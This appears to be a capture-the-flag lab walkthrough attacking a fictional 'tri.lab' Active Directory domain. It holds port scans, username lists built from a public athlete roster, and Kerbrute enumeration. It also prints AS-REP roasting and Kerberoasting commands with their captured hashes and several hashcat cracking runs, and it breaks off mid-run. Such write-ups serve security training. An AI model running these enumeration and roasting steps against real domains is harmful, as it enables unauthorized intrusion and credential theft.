HackSmarter

Triathlon

Nmap
Kerbrute
NetExec / nxc
Hashcat
Impacket (GetUserSPNs, ntlmrelayx, secretsdump)
smbclient
ntlm_theft
Responder
Certipy

Target Information

Property	Value
Domain	tri.lab
RUN-SRV.tri.lab	10.1.231.143 — Windows Server 2022 (Domain Controller)
BIKE-SRV.tri.lab	10.1.145.107 — Windows Server 2022 (IIS member server)
SWIM-SRV.tri.lab	10.1.83.169 — Windows Server 2022 (AD CS member server, hosts `tri-CA`)

Enumeration

Port Scans

Scanned all three discovered hosts.

10.1.83.169:135 OPEN | No banner available.
10.1.83.169:445 OPEN | No banner available.
10.1.83.169:3389 OPEN | No banner available.
10.1.83.169:135 OPEN | No banner available.
10.1.83.169:445 OPEN | No banner available.
10.1.83.169:3389 OPEN | No banner available.
10.1.83.169:49667 OPEN | No banner available.
10.1.83.169:52491 OPEN | No banner available.

[AGGRESSIVE] 10.1.83.169 ports [135, 445, 3389, 49667, 52491]
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-15 08:59 UTC
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.79 seconds

Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-15 09:10 UTC
Stats: 0:00:27 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 60.00% done; ETC: 09:11 (0:00:18 remaining)
Stats: 0:00:33 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 60.00% done; ETC: 09:11 (0:00:22 remaining)
Stats: 0:01:01 elapsed; 0 hosts completed (1 up), 1 undergoing Traceroute
Traceroute Timing: About 32.26% done; ETC: 09:11 (0:00:00 remaining)
Stats: 0:01:11 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.30% done; ETC: 09:11 (0:00:00 remaining)
Nmap scan report for 10.1.83.169
Host is up (0.15s latency).

PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=SWIM-SRV.tri.lab
| Not valid before: 2026-03-14T08:38:58
|_Not valid after:  2026-09-13T08:38:58
|_ssl-date: 2026-03-15T09:12:05+00:00; -1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: TRI
|   NetBIOS_Domain_Name: TRI
|   NetBIOS_Computer_Name: SWIM-SRV
|   DNS_Domain_Name: tri.lab
|   DNS_Computer_Name: SWIM-SRV.tri.lab
|   DNS_Tree_Name: tri.lab
|   Product_Version: 10.0.20348
|_  System_Time: 2026-03-15T09:11:26+00:00
49667/tcp open  msrpc         Microsoft Windows RPC
52491/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 3 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-03-15T09:11:29
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

TRACEROUTE (using port 3389/tcp)
HOP RTT       ADDRESS
1   151.62 ms 10.200.0.1
2   ...
3   151.65 ms 10.1.83.169

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.20 seconds

10.1.231.143:88 OPEN | No banner available.
10.1.231.143:139 OPEN |   
10.1.231.143:53 OPEN | No banner available.
10.1.231.143:389 OPEN | No banner available.
10.1.231.143:135 OPEN | No banner available.
10.1.231.143:445 OPEN | No banner available.
10.1.231.143:464 OPEN | No banner available.
10.1.231.143:593 OPEN | ncacn_http/1.0
10.1.231.143:636 OPEN | No banner available.
10.1.231.143:3268 OPEN | No banner available.
10.1.231.143:3269 OPEN | No banner available.
10.1.231.143:3389 OPEN | No banner available.
10.1.231.143:5985 OPEN | HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Sun, 15 Mar 2026 08:46:24 GMT
Connection: close
Content-Length: 326

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Bad Request</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Bad Request - Invalid Verb</h2>
<hr><p>HTTP Error 400. The request verb is invalid.</p>
</BODY></HTML>
10.1.231.143:9389 OPEN | No banner available.
10.1.231.143:88 OPEN | No banner available.
10.1.231.143:139 OPEN |   
10.1.231.143:53 OPEN | No banner available.
10.1.231.143:389 OPEN | No banner available.
10.1.231.143:135 OPEN | No banner available.
10.1.231.143:445 OPEN | No banner available.
10.1.231.143:464 OPEN | No banner available.
10.1.231.143:593 OPEN | ncacn_http/1.0
10.1.231.143:636 OPEN | No banner available.
10.1.231.143:3268 OPEN | No banner available.
10.1.231.143:3269 OPEN | No banner available.
10.1.231.143:3389 OPEN | No banner available.
10.1.231.143:5985 OPEN | HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Sun, 15 Mar 2026 09:01:28 GMT
Connection: close
Content-Length: 326

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Bad Request</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Bad Request - Invalid Verb</h2>
<hr><p>HTTP Error 400. The request verb is invalid.</p>
</BODY></HTML>
10.1.231.143:9389 OPEN | No banner available.
10.1.231.143:49664 OPEN | No banner available.
10.1.231.143:49668 OPEN | No banner available.
10.1.231.143:49667 OPEN | No banner available.
10.1.231.143:59392 OPEN | ncacn_http/1.0
10.1.231.143:59393 OPEN | No banner available.
10.1.231.143:59405 OPEN | No banner available.
10.1.231.143:59419 OPEN | No banner available.
10.1.231.143:59434 OPEN | No banner available.

[AGGRESSIVE] 10.1.231.143 ports [53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 3389, 5985, 9389, 49664, 49667, 49668, 59392, 59393, 59405, 59419, 59434]
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-15 09:11 UTC
Nmap scan report for 10.1.231.143
Host is up (0.15s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-15 09:11:33Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: tri.lab0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=RUN-SRV.tri.lab
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:RUN-SRV.tri.lab
| Not valid before: 2025-10-03T22:41:24
|_Not valid after:  2026-10-03T22:41:24
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tri.lab0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=RUN-SRV.tri.lab
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:RUN-SRV.tri.lab
| Not valid before: 2025-10-03T22:41:24
|_Not valid after:  2026-10-03T22:41:24
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: tri.lab0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=RUN-SRV.tri.lab
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:RUN-SRV.tri.lab
| Not valid before: 2025-10-03T22:41:24
|_Not valid after:  2026-10-03T22:41:24
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tri.lab0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=RUN-SRV.tri.lab
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:RUN-SRV.tri.lab
| Not valid before: 2025-10-03T22:41:24
|_Not valid after:  2026-10-03T22:41:24
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-03-15T09:13:11+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=RUN-SRV.tri.lab
| Not valid before: 2026-03-14T08:39:08
|_Not valid after:  2026-09-13T08:39:08
| rdp-ntlm-info: 
|   Target_Name: TRI
|   NetBIOS_Domain_Name: TRI
|   NetBIOS_Computer_Name: RUN-SRV
|   DNS_Domain_Name: tri.lab
|   DNS_Computer_Name: RUN-SRV.tri.lab
|   Product_Version: 10.0.20348
|_  System_Time: 2026-03-15T09:12:32+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
59392/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
59393/tcp open  msrpc         Microsoft Windows RPC
59405/tcp open  msrpc         Microsoft Windows RPC
59419/tcp open  msrpc         Microsoft Windows RPC
59434/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 3 hops
Service Info: Host: RUN-SRV; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-03-15T09:12:35
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

TRACEROUTE (using port 139/tcp)
HOP RTT       ADDRESS
1   147.46 ms 10.200.0.1
2   ...
3   147.50 ms 10.1.231.143

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 108.33 seconds

10.1.145.107:139 OPEN |   
10.1.145.107:80 OPEN | HTTP/1.1 200 OK
10.1.145.107:135 OPEN | No banner available.
10.1.145.107:445 OPEN | No banner available.
10.1.145.107:3389 OPEN | No banner available.
10.1.145.107:80 OPEN | HTTP/1.1 200 OK
10.1.145.107:139 OPEN |   
10.1.145.107:135 OPEN | No banner available.
10.1.145.107:445 OPEN | No banner available.
10.1.145.107:3389 OPEN | No banner available.
10.1.145.107:80 OPEN | HTTP/1.1 200 OK
10.1.145.107:139 OPEN |   
10.1.145.107:135 OPEN | No banner available.
10.1.145.107:445 OPEN | No banner available.
10.1.145.107:3389 OPEN | No banner available.
10.1.145.107:5985 OPEN | HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Sun, 15 Mar 2026 09:21:46 GMT
Connection: close
Content-Length: 326

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Bad Request</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Bad Request - Invalid Verb</h2>
<hr><p>HTTP Error 400. The request verb is invalid.</p>
</BODY></HTML>
10.1.145.107:49669 OPEN | No banner available.
10.1.145.107:49667 OPEN | No banner available.

[AGGRESSIVE] 10.1.145.107 ports [80, 135, 139, 445, 3389, 5985, 49667, 49669]
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-15 09:31 UTC
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for BIKE-SRV.tri.lab (10.1.145.107)
Host is up (0.15s latency).

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=BIKE-SRV.tri.lab
| Not valid before: 2026-03-14T08:38:58
|_Not valid after:  2026-09-13T08:38:58
|_ssl-date: 2026-03-15T09:33:30+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: TRI
|   NetBIOS_Domain_Name: TRI
|   NetBIOS_Computer_Name: BIKE-SRV
|   DNS_Domain_Name: tri.lab
|   DNS_Computer_Name: BIKE-SRV.tri.lab
|   DNS_Tree_Name: tri.lab
|   Product_Version: 10.0.20348
|_  System_Time: 2026-03-15T09:32:51+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 3 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-03-15T09:32:53
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   161.31 ms 10.200.0.1
2   ...
3   161.37 ms BIKE-SRV.tri.lab (10.1.145.107)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.33 seconds

Three domain-joined Windows Server 2022 hosts were confirmed: RUN-SRV.tri.lab (Domain Controller), BIKE-SRV.tri.lab (IIS web server), and SWIM-SRV.tri.lab.

Web Enumeration

Browsing BIKE-SRV’s port 80 triggered an authentication prompt containing the string “Goose_luvs_crocs” before redirecting to the default IIS page. Nothing else was reachable on the web front end, so enumeration continued against the domain itself.

OSINT — Username Wordlist

Standard SecLists username wordlists didn’t identify any valid domain accounts. The client for this engagement was the USA Elite Triathlon Team, so researched the team’s public roster to build a targeted username list instead.

Source: "USA Triathlon Announces 2025 U.S. Elite Triathlon National Team"

gwen.jorgensen
g.jorgensen
gjorgensen
kirsten.kasper
k.kasper
kkasper
taylor.knibb
t.knibb
tknibb
summer.rappaport
s.rappaport
srappaport
gina.sereno
g.sereno
gsereno
taylor.spivey
t.spivey
tspivey
morgan.pearson
m.pearson
mpearson
john.reed
j.reed
jreed
seth.rider
s.rider
srider

Generated the roster names in three common corporate naming conventions (firstname.lastname, f.lastname, flastname) and saved the result as us-ath-list for Kerberos username enumeration.

Username Enumeration

~/kali4niaL0ve-back/payloads/tools/kerbrute userenum --dc RUN-SRV.tri.lab --domain tri.lab us-ath-list 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 03/15/26 - Ronnie Flathers @ropnop

2026/03/15 10:00:33 >  Using KDC(s):
2026/03/15 10:00:33 >   RUN-SRV.tri.lab:88

2026/03/15 10:00:34 >  [+] VALID USERNAME:      m.pearson@tri.lab
2026/03/15 10:00:34 >  [+] VALID USERNAME:      j.reed@tri.lab
2026/03/15 10:00:34 >  [+] VALID USERNAME:      t.spivey@tri.lab
2026/03/15 10:00:34 >  Done! Tested 45 usernames (3 valid) in 0.762 seconds

Kerbrute confirmed 3 valid domain usernames: m.pearson, j.reed, t.spivey.

Initial Access

AS-REP Roasting

nxc ldap RUN-SRV.tri.lab -u valid-users -p '' --asreproast output.txt 
LDAP        10.1.231.143    389    RUN-SRV          [*] Windows Server 2022 Build 20348 (name:RUN-SRV) (domain:tri.lab)
LDAP        10.1.231.143    389    RUN-SRV          $krb5asrep$23$t.spivey@tri.lab@TRI.LAB:582e0b86b79146dd177b1020eb29b4b6$acdc8510b042307f1dfd7fbdff190d89bf5e50080c5d88a9602514653768f2d0854f2377d74ca6f08c813c4c7cad41286b83e5300eff68013961a978f456ec417d6ccfdd7019c4a78865172559482e22040cf38e4472684516214842c4407b9457817149aff287bd4e314f5c3d466a9011f36e269ef0c2a2b8081e41b99c96b0725f040202b24ce1438ef648a83d47efcd1b9d929053ff759365ad2fb55b0ba23918103ebf47b33a9b77035490c2c1656bc66b4624a1f95745d1109b828e64b7986fd2968759eb04c3cdc56eb8a66deb32d7feec7e4706a8937110fd7cbbbe2e1449

t.spivey was AS-REP roastable. Attempted to crack the hash.

hashcat -m18200 output.txt wordlist
hashcat (v7.1.2) starting

wordlist: No such file or directory

Started: Sun Mar 15 10:04:27 2026
Stopped: Sun Mar 15 10:04:27 2026

Wrong wordlist path. Re-ran against rockyou.

hashcat -m18200 output.txt ~/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt 
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-13th Gen Intel(R) Core(TM) i9-13900H, 8249/16499 MB (4096 MB allocatable), 6MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 513 MB (15958 MB free)

Dictionary cache hit:
* Filename..: /home/kali/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt
* Passwords.: 14344386
* Bytes.....: 139921516
* Keyspace..: 14344386

Cracking performance lower than expected?                 

* Append -O to the commandline.
  This lowers the maximum supported password/salt length (usually down to 32).

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.           

Session..........: hashcat                                
Status...........: Exhausted
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$t.spivey@tri.lab@TRI.LAB:582e0b86b791...2e1449
Time.Started.....: Sun Mar 15 10:04:53 2026 (16 secs)
Time.Estimated...: Sun Mar 15 10:05:09 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/home/kali/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:   906.5 kH/s (5.36ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 14344386/14344386 (100.00%)
Rejected.........: 0/14344386 (0.00%)
Restore.Point....: 14344386/14344386 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !carragold! -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Util: 78%

Started: Sun Mar 15 10:04:52 2026
Stopped: Sun Mar 15 10:05:10 2026

The AS-REP hash for t.spivey did not crack against rockyou. Pivoted to using t.spivey’s no-preauth status to hunt for Kerberoastable accounts among the known usernames.

Kerberoasting

impacket-GetUserSPNs -no-preauth t.spivey -usersfile valid-users -dc-ip 10.1.231.143 tri.lab/    
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] Principal: t.spivey@tri.lab - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$23$*j.reed@tri.lab$TRI.LAB$j.reed@tri.lab*$0c7069d08fdce272f37b98f686077e9f$eded8a77b90c85e8631828004b27494c2ef0faeda28fec1e29099d41e7a2973f785924d95b5bee4fc94f2b351c1fa21f3f61df391dc5de7bff87ddd69782a9f798baedafb1b2dbdf164f718eae8e4ba68b448c88ca09526fa8f892d1290a8c14bceaad40ed40271ee710f4c20add5dfd5f4bb14623991146e88ac699f423be7b50c634af13f2cc40b58bb3ddf5a5c382afd6225fbc40f4d89936ac2f0895e580899e6ef419b4cf3a0aca49fbe87d6fa046dde3eea8d5f5fc673be161a64c759187f88127b106357d6c72c949914b3ce6ac0db6ed2aa91284f8876df01f739b7414507f4f2c3235c25f8bc3ebb1aedbf25084d83e07e111e59f8445a24a0e58832e7e395d450c793dc46b4991cfa2571fdf260d19fa9392d3401a7bf686066974a65de119e0656082807dcb5959cfd6c6995a9657a7fefc7e47aa5e097a0e51c99f775f5530aeeac9b94bb9e3e6e439627e6d91b5096e1550d3225dd9a56023f87918728ba72589f59dfd1ada8e26b4f3c3257bbdce6186873c7cfdcd5edc3c16ec1b9eed388fcaf0c6f2f6bb5af3c4d8380dcb137f3758e57734b56a0a9feac9f327d7b88f96dd60b93c40bf0272d0c261f8bcad073a3e708203cd1de51e3560ec079cf54932e1da532b64e19186003c6c56d4fe8566184aeed9f2fe7f6ab7169d02a23d35865f019c7b376fed1b34d605745b3c719dce5c66cc0c87d2221c4bba4c459c4af3c74ca3f4383d27181ab3e21d1d34a287cc8ff40ded54cf1dc2f31926305eebdf9e2b3b85e849d82841d1aba4335c426f5a95f4d24026111560c6c5db75cee6c7cbc3c80d4aebf5032efba0cc8acaadc0526cec6f6739bd0bd01c0b7d1f13eba434d031bbd306d457e41b8a9520873eadfdc898fb2acb3749ea40ec3c17cec9200aa68c7f5a417b029c39b29f9f02490cbe8bc1d137178783ef1e91cb8b1e4435dbbf29893a9ca5986f20c1a8d680a7fb70df55ff1793dab9d398fc45308b8a7f9b647b960af0241929eb7ad8e08d42b6062e88b9c976bd52df1e50f6dcbdceec1538039d1bc48ccf764a539f19539bf00ef1e73d3b4430214f5bcac2328304db93de545b9db503fba26d6d4392580cba08eb88c98fb0047f8995d684b8b3e922309e52bc245be82bce8d9351c0e77634c163495b22ccc3d2eaa65d39ae539fe58cfc8ae62f5e7e89bc0ecef3dd2af12f983fb3c9f45749528fc96a5f21b80d0cb253ddabd8e06df6a091db671383cb0f029fb0d1eeddf9dd41075278c82f6c219cc88ff8ba8b8a437159a0c82b4ab7bb034768fee03a05d142cb302eea41da4a51a28e3821b15a4ed642b68a8372a8b67cab59bba80b1c2a6c41ff870e21fad62ac4ea66f935991693fdd20b17bdb23db2b2
[-] Principal: m.pearson@tri.lab - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)

t.spivey and m.pearson had no SPNs, but j.reed returned a crackable TGS-REP hash.

hashcat -m 13100 spn_output.txt ~/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt 
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-13th Gen Intel(R) Core(TM) i9-13900H, 8249/16499 MB (4096 MB allocatable), 6MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 513 MB (15858 MB free)

Dictionary cache hit:
* Filename..: /home/kali/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt
* Passwords.: 14344386
* Bytes.....: 139921516
* Keyspace..: 14344386

Cracking performance lower than expected?                 

* Append -O to the commandline.
  This lowers the maximum supported password/salt length (usually down to 32).

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.           

Session..........: hashcat                                
Status...........: Exhausted
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*j.reed@tri.lab$TRI.LAB$j.reed@tri.lab*...521131
Time.Started.....: Sun Mar 15 10:43:46 2026 (15 secs)
Time.Estimated...: Sun Mar 15 10:44:01 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/home/kali/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:   906.3 kH/s (5.05ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 14344386/14344386 (100.00%)
Rejected.........: 0/14344386 (0.00%)
Restore.Point....: 14344386/14344386 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !carragold! -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Util: 78%

Started: Sun Mar 15 10:43:45 2026

Plain rockyou also failed to crack it. Re-ran with a mutation rule list applied.

grep '^\$krb5tgs\$' spn_output.txt > hashes.txt                                                                              
hashcat -m 13100 hashes.txt ~/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-13th Gen Intel(R) Core(TM) i9-13900H, 8249/16499 MB (4096 MB allocatable), 6MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 66

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 513 MB (15653 MB free)

Dictionary cache hit:
* Filename..: /home/kali/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt
* Passwords.: 14344386
* Bytes.....: 139921516
* Keyspace..: 946729476

Cracking performance lower than expected?                 

* Append -O to the commandline.
  This lowers the maximum supported password/salt length (usually down to 32).

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*j.reed@tri.lab$TRI.LAB$j.reed@tri.lab*...26f29f
Time.Started.....: Sun Mar 15 10:49:23 2026 (3 mins, 0 secs)
Time.Estimated...: Sun Mar 15 11:04:16 2026 (11 mins, 53 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/home/kali/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt)
Guess.Mod........: Rules (/usr/share/hashcat/rules/best66.rule)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  1071.3 kH/s (4.75ms) @ Accel:29 Loops:64 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 182388888/946729476 (19.27%)
Rejected.........: 0/182388888 (0.00%)
Restore.Point....: 2763468/14344386 (19.27%)
